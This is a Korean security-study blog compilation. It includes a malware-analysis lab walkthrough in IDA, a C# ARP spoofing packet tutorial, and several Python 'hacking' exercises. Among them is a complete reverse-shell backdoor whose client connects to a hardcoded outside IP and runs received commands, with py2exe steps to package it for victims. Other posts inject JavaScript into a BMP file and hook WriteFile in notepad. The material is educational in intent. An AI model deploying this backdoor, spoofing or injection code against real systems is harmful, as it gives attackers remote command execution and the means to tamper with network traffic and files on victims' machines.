안녕하세요. Message입니다.

<실전 악성코드와 멀웨어 분석> 책의 실습 문제 5-1을 분석합니다.

분석환경은 Windows 7 Ultimate 64x / Vmwre 12.1.0 build 입니다.

 

#1 : http://redscreen.tistory.com/66

#2 : http://redscreen.tistory.com/67

#3 : http://redscreen.tistory.com/68

#4 : http://redscreen.tistory.com/71

 

 

------------------------------------------------------------------------------------------------------------------------------------------

0. 준비

------------------------------------------------------------------------------------------------------------------------------------------

OllyDbg쓰다가 IDA쓰다가 이클립스로 개발하다가...보면 가장 혼동되는게 단축키입니다.

원래는 그때마다 검색해서 다시 감잡은 다음에 작업에 들어갔는데,

이참에 IDA에서 자주 쓰는 단축키만 정리하겠습니다.

 

일반

---------------------------------------------------------

- TextView와 Graph 화면전환 : SPACE 

- Strings Window : Shitft+F12

- 함수이동 : Ctrl+p 

- 이름검색 : Ctrl+L

- XREF 검색 : Ctrl+X 

- 주소이동 : g 

- 전단계 이동 : ESC

- 코드수정 : Alt+F2

- Text 검색 : Alt+t

- Quick View : Ctrl+1 

---------------------------------------------------------

 

디버그

--------------------------------

- BreakPoint : F2

Debugging Start : F9

- Debugging Exit : Ctrl+F2

- Step Into : F7

- Step Over : F8

--------------------------------

 

그래프모드 화살표 색상

---------------------------

------▶  False

------  True

------  무조건 Jump

---------------------------

 

------------------------------------------------------------------------------------------------------------------------------------------

1. DllMain의 주소는 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

Function Name Window에서 DllMain을 찾습니다.

처음에는 DllEntryPoint로 착각했지만, DllMain이 따로 있었습니다.

둘의 차이점을 검색해보았으나, 명확하게 딱 이거다 라고 되어 있는걸 못찾았습니다.

스페이스키를 누르고 그래프를 살펴보았더니 DllEntryPoint가 먼저 호출되고 난 이후에

자신이 받은 인자값을 그대로 넣어주면서 DllMain을 호출하더군요.

답 : text 섹션 / 0x1000D02E

 

Tip. main에 관하여

RedAlert 에서 배포된 PE구조 문서를 보니

일반적으로 EntryPoint는 main, wmain, WinMain, wWinMain 으로 착각하기 쉽지만 (처음보는 함수도 많네요)

진정한 main은 CRT main이라고 합니다. CRT main은 C/C++ run-time startup 코드라고 불리는 함수가 따로 존재하는데,

이는 Linker에 의해 실행파일이 생성될 때 합쳐치며, main 함수도 CRT main에 의해서 호출되는 함수입니다.

CTR main은 Command-Line argument와 환경변수를 채우고,

heap 초기화, 전역변수 객체 생성자 호출, 전역변수 초기화 등을 수행합니다.

종류는 mainCRTStartup, wmainCRTStartup, WinMainCRTStartup wWinMainCRTStartup 등등..

이부분은 따로 숙지할 필요가 있겠네요.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. Imports 윈도우를 이용해 gethostbyname을 탐색해보자. 임포트 위치는 어디인가?

------------------------------------------------------------------------------------------------------------------------------------------

Import Window에서 getbyhostname을 찾습니다.

윈도우에 포커스를 두고, gethostbyname을 타자치면 검색 기능이 활성화되어 쉽게 찾을 수 있습니다.

gethostbyname을 더블클릭하면 디스어셈블리창으로 이동되며, 주소값을 알아낼 수 있습니다.

답 : idata 섹션 / 0x100163CC

 

------------------------------------------------------------------------------------------------------------------------------------------

3. gethostbyname 함수는 몇번 호출되는기?

------------------------------------------------------------------------------------------------------------------------------------------

디스어셈블리창에서 Ctrl+X 를 입력하면 xref로 표기되는 상호참조 리스트 윈도우가 호출됩니다.

type은 호출(p)읽기(r)로 표시됩니다.

sub_10001074, sub_10001365, sub_10001656, sub_1000208F, sub_10002CCE 등 5개의

서로다른 함수에서 9번 호출됨을 알 수 있습니다.

답 : 5개의 함수에서 9번 호출

 

 

------------------------------------------------------------------------------------------------------------------------------------------

4. 0x10001757에 위치한 gethostbyname 호출을 보면 어떤 DNS 요청이 이뤄지는지 알 수 있는가?

------------------------------------------------------------------------------------------------------------------------------------------

.gethostbyname 함수는 도메인이름ex) www.daum.net 하나를 파라미터로 받는 함수입니다

상호참조 리스트에서 P type의 메소드를 클릭하여 확인하면

EAX 레지스터를 이용하여 도메인 네임 인자를 받는 어셈블리코드를 볼 수 있습니다.

 

off_10019040 주소를 더블클릭하거나 G 기능을 이용하여 주소로 점프하면

아래와 같이 "[This is RDO]pics.practicalmalware...(생략)" 소스를 발견할 수 있습니다.

 

EAX 레지스터에 0Dh 주소값을 더하는 이유는

문자열의 [This is RDO] 값을 제외하고 "pics..." 부분을 포인터로 얻기 위함입니다. 

답 : pics.practicalmalwareanalysis.com

 

 

------------------------------------------------------------------------------------------------------------------------------------------

5. 0x10001656 서브루틴에서 IDA Pro는 지역변수 몇개를 인지하고 있는가?

6. 0x10001656 서브루틴에서 IDA Pro는 파라미터 몇개를 인지하고 있는가?

------------------------------------------------------------------------------------------------------------------------------------------

스페이스바를 이용하여 그래프모드로 전환후 0x10001656으로 가거나

G단축키를 이용하여 0x10001656으로 이동하면

아래와 같은 그림에서 지역변수와 파라미터의 개수를 확인할 수 있습니다.

답 : 지역변수 23개, 파라미터 1개 (arg_0= dword ptr 4)

 

 

 

posted by Red_Message

이번에는 ARP 패킷을 만들고 전송하는 부분까지 하겠습니다.

 

간단하게 절차(?)를 써보자면

  1. 지난번에 검색한 네트워크 장치들중 내보낼 장치 선택
  2. ARP 패킷 만들기
  3. 이더넷 프레임 만들기
  4. ARP 패킷에 이더넷 헤더 씌우기
  5. 1번에서 선택한 네트워크 인터페이스로 패킷 전송

이런 순으로 진행되겠네요.

 

 

1. 프로젝트 열기

- 첫번째 포스팅에서 만든 TestApp 이라는 프로젝트를 이용하겠습니다.

 

가. Form 디자인하기 

- 정말 간단하게 만들겠습니다.

- [시작] 버튼을 누르면 패킷이 전송되고, [중지] 버튼을 누르면 패킷 전송이 중지되는 기능으로 하겠습니다.

나. 속성

- [시작], [중이] 버튼의 Text 및 Name은 편하실때로 하시면 되겠습니다.

- 저같은 경우 Name은 각각 btnARPStart, btnARPStop 이라고 하였습니다.

 

2, 코딩하기

- [시작] 버튼을 더블클릭하게 되면 코드를 작성할 수 있는 화면으로 바뀌게 됩니다.

 

가. 참조할 라이브러리 가져오기

- 두번째 포스팅에서 라이브러리 참조하는 방법을 알아보았습니다.

- 사용하기 위하여 지시문을 작성할 필요가 있습니다.

- 코드 작성 부분에서 맨위에 보시면 using ~~~~ 이런식으로 이미 작성되어 있는 코드가 보이실겁니다. (1~9 줄)

- 그아래 작성하였습니다. (13~14 줄)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
 
using System.Net;
using System.Net.NetworkInformation;
using PacketDotNet;
using SharpPcap;
using System.Threading;
cs

 

나. 장치 선택하기

- 두번째 포스팅에서 제가 사용한 인터페이스 인덱스 번호를 저는 1번이라고 정하였습니다.

- 이제 해당 인터페이스를 가져오겠습니다.

1
2
3
4
5
6
7
8
9
10
11
// Millisecond 단위 이며 초기연결 지연설정
int readTimeout = 1000;
 
// 현재 단말기의 네트워크 장치의 리스트들을 불러온다.
CaptureDeviceList devices = CaptureDeviceList.Instance;
 
// 무선 랜카드의 인덱스 번호는 1번(단말기 설정에 따라 다름)
ICaptureDevice device = devices[1];
 
// 무선 랜카드를 프러미스큐어스 모드로 연다.
device.Open(DeviceMode.Promiscuous, readTimeout);
cs

- 2 줄 : 인터페이스를 초기 연결할때 지연시간을 주어도 되고 주지 않아도 된다는데 저는 설정하겠습니다.

- 5 줄 : 익숙하지 않나요? 두번째 포스팅에서 장치 검색하는 부분입니다. 대신 devices 변수는 배열 형식으로 리스트를 저장하게 됩니다. 그렇기 때문에 제가 인덱스 번호를 확인하라고 했었습니다.

- 8 줄 : 저는 1번으로 선택합니다.

- 11 줄 : 1번 인터페이스를 열어줍니다. 보시면 DeviceMode 를 설정할 수 있습니다. Normal과 Promiscuous 모드가 있습니다.

Normal은 일반모드로 장치를 열겠다는 의미입니다. 중요한 것은 Promiscuous 모드입니다.

Promiscuous 모드로 장치를 설정하면 보통은 자신을 목적지로 되어있는 정보만 받게되고 나머지는 버리게 되는데, Promiscuous 모드는 자신의 것 이외의 모든 정보를 검증없이 받아볼 수 있게 됩니다. 스니핑공격의 가장 기본 옵션이기도 합니다. 와이어샤크에서도 이 기능을 확인하실 수 있습니다. ( http://redscreen.tistory.com/entry/SEEK-네트워크-해킹-및-보안-2 : 한창 공부할때 잠시 언급했었습니다.)

패킷을 전송할것이기 때문에 Normal 로 하시든 상관없습니다. 모드가 두가지 있다는 것을 보여드리기 위해서 저렇게 작성하였습니다.

그리고 2번째 줄에서 설정한 지연시간을 인자로 주게되면 초기연결 시 인자값 만큼 지연되게 됩니다.

 

다. 패킷 만들기

1) ARP

- ARP 패킷의 구조는 어떻게 되는지 먼저 살펴 보겠습니다. 

- 패킷을 만들기 위해서 입력해주어야 하는 부분으로 Opcode(requset 인지 reply 인지), 송신측 MAC, IP, 수신측 MAC, IP 이렇게 5가지 입니다.

 

2) 이더넷

- 이더넷의 구조를 살펴 보겠습니다. 

- 이더넷 프레임을 만들기 위해서 입력해주어야 하는 부분으로 송신측 MAC, 수신측 MAC, Type 입니다.

 

3) 코딩하기

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
IPAddress dstIP = null;
IPAddress srcIP = null;
PhysicalAddress dstMac = null;
PhysicalAddress srcMac = null;
 
dstIP = IPAddress.Parse("100.0.0.100");
dstMac = PhysicalAddress.Parse("AA-AA-AA-AA-AA-AA");
srcIP = IPAddress.Parse("111.0.0.111");
srcMac = PhysicalAddress.Parse("BB-BB-BB-BB-BB-BB");
 
ARPPacket arp = new ARPPacket(ARPOperation.Response, dstMac, dstIP, srcMac, srcIP);
EthernetPacket eth = new EthernetPacket(srcMac, dstMac, EthernetPacketType.Arp);
arp.PayloadData = new byte[] { 00000000000000000000 };
eth.PayloadPacket = arp;
device.SendPacket(eth);
cs

- 1~4 줄 : IP, MAC 주소 입력을 위해 해당 형식의 변수 지정부분

- 6~9 줄 : 괄호 안의 문자열을 각 IP, MAC 변수에 맞는 형태로 저장하는 부분 (이 부분을 공격자가 임의로 조작하면 되겠지요?)

- 11 줄 : ARP 패킷을 만드는 부분입니다.

입력 순서대로

[ Opcode , TargetHardwareAddress , TargetProtocolAddress(IP) , SenderHardwareAddress , SenderProtocolAddress(IP) ]

Opcode 는 Request, Response(Reply) 둘중 선택할 수 있습니다.

- 12 줄 : 이더넷 프레임을 만드는 부분입니다.

입력 순서대로

[ SourceHardwareAddress , DestinationHardwareAddress , Type ]

ARP 패킷을 담아서 전송할 것이니 Type을 Arp 로 합니다.

- 14 줄 : 이더넷 프레임에 ARP 패킷을 담아줍니다.

- 15 줄 : 위쪽에서 Promiscuous 모드로 열었던 인터페이스로 이더넷 프레임을 전송합니다.

 

라. 결과

- 와이어샤크로 확인해보겠습니다. 

 

- 저는 for 문을 통하여 10개를 전송하였습니다.

- 사진 보시면 하드코딩하였던 내용들이 그대로 담겨서 와이어샤크에서 확인되었음을 볼수 있습니다.

 

 

Visual Studio 에서 C# 의 기본적인 조작법은 저도 아직 공부단계에 있기 때문에 작성하지 않았습니다.

 

솔직히 SharpPcap 사용하시려고 저희 블로그 와주실 정도라면 저보다 훨씬 잘하실게 뻔하기 때문이죠...ㅎㅎ;

 

아무튼 오늘 드디어 원하는 패킷을 만들어서 전송까지 해보았습니다.

 

저도 처음에 놓쳤던 부분이 ARP 패킷만 만들어서 device.SendPacket(arp); 이런식으로 바로 보내려고 하니까 안되어서 고생했습니다.

 

이제와서보면 너무 기초적인 부분을 놓쳤기 때문에 막혔던 것이 너무나 부끄럽네요.....ㅜ 이더넷...ㅠ

 

저와 같은 실수 하실분은 없으시겠지만, 만약을 위해 그리고 나중에 제가 또 같은 실수 하지 않길 바라지만.. 혹시나.. 기록하기 위해...ㅎㅎ

 

posted by Red_Seek

지난 포스팅에서 추가한 SharpPcap.dll 과 PacketDotNet.dll 에서

 

SharpPcap.dll 를 이용하면 현재 사용자 단말기의 네트워크 인터페이스 정보를 볼수 있습니다.

 

이번에는 콘솔 응용 프로그램으로 네트워크 인터페이스 정보를 확인해보겠습니다.

 

 

1. 프로젝트 생성

- 프로젝트 생성 시 "콘솔 응용 프로그램"을 선택하였습니다. 

- 프로젝트 생성 후 SharpPcap.dll 라이브러리 추가 해주세요. (이전 포스팅 참고)

 

 

2. 코드 작성

- 프로젝트 생성 시 초기 상태입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
 
namespace sharppcapEX
{
    class Program
    {
        static void Main(string[] args)
        {
            
        }
    }
}
cs

 

- Main 함수 부분에 작성을 하면 됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
 
namespace sharppcapEX
{
    class Program
    {
        static void Main(string[] args)
        {
            // SharpPcap 버전
            string sharppcapversion = SharpPcap.Version.VersionString;
            Console.WriteLine("SharpPcap {0} version", sharppcapversion);
            Console.WriteLine("========================================");
 
            // 네트워크 장치 검색
            var networkInterface = SharpPcap.CaptureDeviceList.Instance;
            if (networkInterface.Count < 1)
            {
                Console.WriteLine("No network interface.");
                return;
            }
 
            // 네트워크 장치 정보 출력
            foreach (var interfaceInfo in networkInterface)
            {
                Console.WriteLine("{0}", interfaceInfo);
                Console.WriteLine("========================================");
            }
        }
    }
}
 
cs

 

 

3. 결과

- 아래의 결과화면에서 스크롤 내리시면 검색된 인터페이스의 정보들을 확인하실 수 있습니다.

- 맨위 인터페이스 부터 인덱스 0 번 부터 시작한다고 생각하시면 됩니다. (말씀 드린 인덱스 번호는 다음 내용에 사용됩니다.)

 

 

 

저는 노트북을 사용중이며 무선 네트워크를 이용하여 ARP 패킷을 보낼 예정입니다.

 

이번 포스팅을 통하여 저의 무선 네트워크의 인덱스 번호가 1번임을 확인하고 넘어가도록 하겠습니다.

 

본인의 네트워크 인터페이스 순서는 다 다릅니다. 본인이 사용하실 인터페이스 번호 확인하시면 되겠습니다.

 

 

 

posted by Red_Seek

안녕하세요.

 

정보보안 교육을 마치고 그동안 ARP Spoofing Tool 을 만들어보면서 공부를 하였는데요.

 

코딩을 하면서 골치아팠던 부분 몇가지 공유하고자 합니다. (저만 골치아픈거일수도 있어요...)

 

 

먼저, ARP 스푸핑을 하기 위해 Request 와 Reply 패킷을 보내는 두가지 방법이 있는데 저는 Reply 패킷을 이용하여 코딩을 해보았습니다.

 

사용한 언어는 C# 입니다. Visual Studio 2015 사용하였습니다.

 

라이브러리는 스니핑에 많이 사용하시는 SharpPcap 을 사용하였습니다.  (첨부파일 확인)

https://sourceforge.net/projects/sharppcap/

SharpPcap-4.2.0.bin.zip

 

 

 

1. SharpPcap 라이브러리 추가하기 (for Visual Studio 2015)

가. 프로젝트 생성

- 저는 Windows Forms 으로 생성을 하였습니다. 

 

 

나. 상단 메뉴 [프로젝트] -> [참조 추가] 선택

 

 

 

다. 아래의 "찾아보기" 선택하여서 SharpPcap.dll 과 PacketDotNet.dll 을 추가해줍니다.

- 첨부파일 다운 받으시면 SharpPcap.dll 과 PacketDotNet.dll 있습니다.

- 아래 사진처럼 추가하신후 확인 버튼누르면 완료입니다.

 

 

 

 

posted by Red_Seek
2016. 4. 4. 22:50 :: 시스템 보안

안녕하세요~ Message 입니다.

 

파이썬은 레지스트리 정보 조회를 위해 _winreg 모듈을 지원합니다.

_winreg 모듈은 윈도우 레지스트리 API를 파이썬에서 사용할 수 있도록 지원하는 매개체 역할을 합니다.

아래 소스는 파이썬을 사용해서 자동으로 사용자 계정 목록을 조회하는 프로그램입니다.

 

1) 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: utf-8 -*-
 
from _winreg import *
import sys
 
varSubkey = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" # 서브레지스트리 목록 지정
varReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE) # 루트 레지스트리 핸들 객체 얻기
varKey = OpenKey(varReg, varSubkey) # 레지스트리 핸들 객체 얻기
 
for i in range(1024):
    try:
        keyname = EnumKey(varKey, i) # 지정한 레지스트리의 하위 키값 조회
        varSubkey2 = "%s\\%s" % (varSubkey, keyname) # 하위 레지스트리 목록 생성 : 상위 레지스트리 목록과 하위 키값 결합
        varKey2 = OpenKey(varReg, varSubkey2) # 레지스트리 핸들 객체 얻기
        try:
            for j in range(1024):
                n, v, t = EnumValue(varKey2, j) # 레지스트리 가진 데이터 얻기 : 값이름, 데이터형, 데이터 조회
                if("ProfileImagePath" in n and "Users" in v): # 사용자 계정 정보 추출
                    print v
        except:
            errorMsg = "Exception Inner:", sys.exc_info()[0]
            #print errorMsg
        CloseKey(varKey2)
    except:
        errorMsg = "Exception Outter:", sys.exc_info()[0]
        break
    
CloseKey(varKey) # 핸들 객체 반환
CloseKey(varReg)
    
cs

 

 

2) 실행결과

해당 프로그램을 실행하면 아래와 같이 계정 정보가 출력됩니다.

테스트를 위해서 새로운 계정을 추가하고, 재부팅한 후 돌려봤지만 바로 적용되지는 않았습니다.

레지스트리가 최신화 되지 않으면 나오지 않는것 같습니다.

실시간으로 원하는 결과를 얻고자 한다면 약간의 보완이 필요할것으로 보이네요.

 

 

참고 : 파이썬 해킹 입문 / 조성문, 정영훈 지음

posted by Red_Message
2016. 3. 31. 15:12 :: 시스템 보안

안녕하세요~ Message 입니다.

 

시스템해킹의 첫번째 단계는 해킹 프로그램을 시스템 내부에 설치하는것으로 시작합니다.

일반적인 경로를 통해 프로그램을 설치하기는 쉽지 않으므로

웹이나 토렌트를 통해서 파일 다운로드를 유도합니다.

동영상 파일이나 음악 파일을 내려받아 실행하면 사용자가 모르는 사이에 프로그램이 설치됩니다.

(전 포스팅에서 이미지 파일 해킹 관련된 부분이 있습니다)

 

감염된 사용자 PC가 방화벽 내부에 있는 주요 시스템을 운영하는 관리자 PC일 때는

3/20 사태와 같은 심각한 상황을 초래할 수 있습니다.

아래 소스는 클라이언트/서버간의 소켓 통신을 이용한 백도어입니다.

 

1) 서버 : backdoorServer.py

① 호스트지정 >  ② 포트지정 >  ③ 소켓옵션설정 >  ④ 연결큐 크기지정  >  ⑤ 명령어입력 >  ⑥ 명령어전송 >  ⑦ 결과수신

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
 
from socket import *
 
HOST = '' # 호스틎지정 : 소켓 연결을할 주소를 지정한다. 주소가 공백으로 지정되면 모든 호스트에서 연결 가능
PORT = 11443 # 포트지정 : 클라이언트와의 접속에 사용되는 포트 지정. 여기서는 시스템에서 예약되지 않은 11443 포트 사용
 
serverSock = socket(AF_INET, SOCK_STREAM)
serverSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1# 소켓 옵션 설정 : 소켓과 관련된 가장 일반적인 옵션인 SOL_SOCKET 사용
serverSock.bind((HOST, PORT))
serverSock.listen(10# 연결 큐 크기 지정 : 서버와의 연결을 위해서 큐에 대기할 수 있는 요청의 수를 지정
 
conn, addr = serverSock.accept()
print 'Connected By ', addr
data = conn.recv(1024)
while 1:
    command = raw_input("Enter shell command or quit: "#명령어 입력
    conn.send(command) # 명령어전송
    if command == "quit" : break
    data = conn.recv(1024# 명령어수신
    print data
conn.close
 
cs

 

2) 클라이언트 : backdoorClient.py

① 서버IP와 포트지정>  ② 명령어수신 >  ③ 명령어실행 >  ④ 파이프를 통한 결과값 출력 >  ⑤ 결과값전송

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: utf-8 -*-
 
import socket
import subprocess
 
HOST = '125.31.148.160' # 서버 IP와 포트 지정 : 백도어 서버가 가진 IP를 지정하고 연결에 사용할 포트를 지정
PORT = 11443
clientSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientSock.connect((HOST, PORT))
clientSock.send('[*] Connection Established!')
 
while 1:
    data = clientSock.recv(1024# 명령어수신
    if data == "quit": break
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, 
            stderr=subprocess.PIPE, stdin=subprocess.PIPE) # 명령어실행 : 입력,출력,오류 메시지를 담당하는 파이프를 생성해서 프로세스 간에 원활한 통신 지원
    stdout_value = proc.stdout.read() + proc.stderr.read() # 결과출력 :  파이프를 통해서 실행 결과와 오류 메시지를 출력
    clientSock.send(stdout_value) # 결과전송 : 소켓을 통해서 서버로 실행 결과를 전송
clientSock.close()
 
cs

 

3) Python 윈도우 실행파일 변환

파이썬으로 프로그래밍한 소스파일을 윈도우 실행 파일로 변환하려면 관련 모듈을 설치해야합니다.

www.py2exe.org 사이트의 py2exe-0.6.9.win32-py2.7.exe 프로그램을 받아 설치합니다.

이후 아래와 같은 setup.py를 작성합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from distutils.core import setup
import py2exe
 
options = {
    "bundle_files"  : 1,
    "compressed"    : 1,
    "optimize"      : 2,
}
 
setup (
    console = ["backdoorClient.py"],
    options = {"py2exe" : options},
    zipfile = None
)
cs

저의 경우 import py2exe에 빨간줄이 쳐졌지만, 정상동작 했습니다.

setup.py 파일과 backdoorClient.py 파일을 같은 디렉토리에 넣고 CMD에서 아래 명령어를 실행합니다.

C:\> python -u setup.py py2exe

실행하면 build 폴더와 dist 폴더가 생성됩니다.

dist폴더의 backdoorClient.exe를 클라이언트에서 실행시키면 됩니다.

 

4) 실행결과

책에 나와있다싶이, 실제 백도어는 고난도의 기술이 필요합니다.

아래와 같이 dir 명령어는 동작했지만, 다른 명령어는 오류가 많이 발생했습니다.

(에러처리만 해도 양이 어마어마할 것 같습니다.)

하지만 동작 원리를 이해할 수 있는 챕터였습니다.

 

참고 : 파이썬 해킹 입문 / 조성문, 정영훈 지음

 

posted by Red_Message
2016. 3. 25. 15:24 :: 애플리케이션 보안

안녕하세요~ Message 입니다.

 

파이썬은 파일을 다루는 기능을 제공합니다.

바이너리 파일을 열어서 내용을 변경하거나 추가할 수 있습니다.

아래 내용은 비트맵 파일에 자바 스크립트를 삽입해서 쿠키를 저장하고 다시 읽어들이는 프로그램입니다.

 

1) 삽입할 .js 스크립트

이미지 안에 삽입할 .js 파일 입니다.

임의의 cookie 값을 넣고, alert() 함수를 이용해 경고창을 띄웁니다.

1
2
3
4
5
6
name = 'id';
value = 'RedScreen';
var todayDate = new Date();
todayDate.setHours(todayDate.getDate() + 7);
document.cookie = name + "=" + escape( value ) + "; path=/; expires=" + todayDate.toGMTString() + "";
alert(document.cookie)
cs

 

2) 스크립트 삽입 프로그램

파일의 내용을 주석처리 한뒤, 위에 작성한 .js 파일을 삽입합니다.

주석처리 했지만, 브라우저는 매직넘버만 확인하면 일부 손상에도 불구하고

비트맵 파일을 정상적으로 읽습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*-
 
fname = "hello.bmp"
 
""" hello.bmp 파일을 이진 파일 전용 읽기 모드(r+b)로 연다."""
pfile = open(fname, "r+b")
buff = pfile.read()
 
""" 스크립트 실행 중 오류를 발생시킬 수 있는 2A(*)과 2F(/) 문자는 공백으로 치환한다 """
buff.replace(b'\x2A\x2F', b'\x00\x00')
pfile.close()
 
""" hello.bmp 파일을 이진 파일 쓰기 전용 모드로 열고 buff 변수에 저장된 내용을 기록한다."""
pfile = open(fname, "w+b")
pfile.write(buff)
 
""" 파일 읽기 커서를 시작 기준으로 2바이트 뒤로 이동 시킨다 """
pfile.seek(2,0)
 
""" 비트맵 파일을 식별하기 위해 사용되는 매직넘버 뒤에 주석문의 시작을 의미하는 /*을 삽입한다."""
""" 브라우저는 매직넘버만 인식하면 나머지 데이터에 일부 손상이 발생해도 비트맵 파일을 정상적으로 읽는다."""
pfile.write(b'\x2F\x2A')
pfile.close()
 
""" hello.bmp 파일을 이진 파일 추가 전용 모드로 연다. """
pfile = open(fname, "a+b")
 
""" 주석문 삽입의 끝을 의미하는 */을 삽입한다 """
pfile.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
pfile.write(open('hello.js','rb').read())
pfile.close()
cs

 

3) 실행결과

왼쪽은 스크립트를 실행하기 전이고, 오른쪽은 .js파일이 삽입된 이후입니다.

 

 

4) 비트맵 실행 HTML

이미지를 띄움과 동시에, 이미지를 실행시키는 간단한 HTML 스크립트입니다.

IE로 실행시킨 결과, 실제로 alert() 함수가 작동함을 알 수 있습니다.

1
2
<img src="hello.bmp"/>
<script src="hello.bmp"></script>
cs

 

참고 : 파이썬 해킹 입문 / 조성문, 정영훈 지음

 

posted by Red_Message
2016. 3. 24. 17:08 :: 애플리케이션 보안

안녕하세요~ Message 입니다.

 

API를 후킹하는 방법에는 2가지가 있습니다.

첫번째는 Debug를 이용하여 해당 프로세스에 Attach 한 뒤, 후킹 함수를 설치하는 방법이고

두번째는 DLL인젝션을 이용하여 대상 프로세스가 강제로 악성코드를 로딩 or 설치하게 만드는 방법입니다.

 

아래 소스코드는 Debug를 이용한 API 후킹 예제입니다.

Win32 API를 활용하기 쉽게 만든 디버거 모듈인 pydbg를 이용하여 kernel32.dll의 WriteFile API를 후킹합니다.

메모장에서 "I love you" 라고 작성한뒤 저장하면, "I hate you"로 변경되어 저장하도록 작성된 예제입니다.

 

1) 동작순서

① PID얻기 >  ② 명령어주소얻기 >  ③ 중단점설정 >  ④ 콜백함수등록 

   >  ⑤ 디버그이벤트대기 >  ⑥ 이벤트발생 >  ⑦ 콜백함수실행 >  ⑧ 프로세스복귀

2) 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import utils, sys
from pydbg import *
from pydbg.defines import *
from _msi import PID_APPNAME
 
'''
BOOL WINAPI WriteFile(
_In_        HANDLE hFile,
_In_        LPCVOID lpBuffer,
_In_        DWORD nNumberOfBytesToWrite,
_Out_opt_   LPDWORD lpNumberOfBytesWritten,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);
'''
 
dbg = pydbg()
isProcess = False
 
orgPattern = "love"
repPattern = "hate"
processName = "notepad.exe"
 
 
""" 디버그 이벤트가 발생할 때 호출할 콜백 함수 """
def replaceString(dbg, args):
    pbuffer = dbg.read_process_memory(args[1], args[2])
    
    if orgPattern in pbuffer:
        print "[APIHooking] Before : %s" % pbuffer
        pbuffer = pbuffer.replace(orgPattern, repPattern)
        replace = dbg.write_process_memory(args[1], pbuffer)
        print "[APIHooking] After : %s" % dbg.read_process_memory(args[1], args[2])
    return DBG_CONTINUE
 
 
""" for문을 이용하여 윈도우에서 실행되는 모든 프로세스 ID 리스트를 얻는다. """
for(pid, name) in dbg.enumerate_processes():
    print name
    if name.lower() == processName :
        isProcess = True
        hooks = utils.hook_container()
        
        """ 프로세스 핸들값 & 주소값 얻기 """
        dbg.attach(pid)
        print "Saves a process handle in self.h_process of pid[%d]" % pid
        hookAddress = dbg.func_resolve_debuggee("kernel32.dll""WriteFile")
        
        
        """ kernel32.dll의 WriteFile 함수에 중단점을 설정하고, 콜백함수 등록 """
        if hookAddress:
            hooks.add(dbg, hookAddress, 5, replaceString, None)
            print "sets a breakpoint at the designated address : 0x%08x" % hookAddress
            break
        else:
            print "[Error] : couldn't resolve hook address"
            sys.exit(-1)
        
if isProcess:
    print "wating for occurring debugger event"
    dbg.run()
else:
    print "[Error] : There in no process [%s]" % processName
    sys.exit(-1)
    
cs

 

3) 이슈노트

notepad.exe의 32bit/64bit 차이에 의해 DebugActiveProcess(13088) 에러가 발생하였습니다.

우리가 만든 프로그램은 32비트인데, Ctrl+R로 실행한 64비트 메모장을 디버깅 하려다 발생한 오류입니다.

내가 이클립스로 만든 프로그램이 32비트가 맞는건지 검색했으나 쉽게 나오지 않았습니다. (이래서 검색을 잘해야하는데..)

해결방법은 SysWOW64\notepad.exe 경로의 32bit 메모장을 실행시키면 오류가 발생하지 않습니다.

 

참고 : 파이썬 해킹 입문 / 조성문, 정영훈 지음

 

posted by Red_Message

안녕하세요~ Message 입니다. 오늘은~

<실전 악성코드와 멀웨어 분석> 책의 실습 문제 3-4 을 분석해보고자 합니다.

분석환경은 Windows XP / Vmware 12.1.0 build 입니다.

 

1. 파일을 실행하였을 때 어떤 일이 발생했는가?

 

1) 기본 분석

파일을 실행하기 앞서, 기본적인 분석을 수행합니다.

패킹여부, 문자열 추출, DLL 리스트 등을 확인하며 특이사항을 체크합니다.

- 문자열추출

Strings 툴을 이용하여 문자열을 추출합니다.

 

이중에 유심히 봐야할 문자열은 아래와 같습니

- 도메인명 : http://www.practical...(중략)..analysis.com

- 레지스트리 위치 : SOFTWARE\Microsoft\XPS

- 문자열 : DOWNLOAD, UPLOAD

- 커맨드라인 파라미터 의심 문자열 : -cc, -re, -in

 

- DLL 확인

DWalker로 어떤 함수를 사용하는지 확인합니다.

KERNEL32.DLL의 경우, 너무 많은 함수를 참조하기 때문에 한눈에 들어오지 않지만

ADVAPI32.DLL은 서비스 관련 함수와 레지스트리 관련 함수들이 눈에 띄고,

SHELL32.DLL에서 ShellExecuteA 함수가 확 들어옵니다.

나중에 상세 분석을 하기 위해, 해당 내용들은 기억해둡니다.

 

 

 

2) 파일실행

파일을 실행하면 특정 프로세스(conime.exe)를 실행 시킨 후, 스스로 삭제됩니다.

(보통 conime.exe만 나타났지만..여러번의 시도 끝에 Lab03-04.exe와 동시에 나타난 순간을 캡쳐했습니다)

 

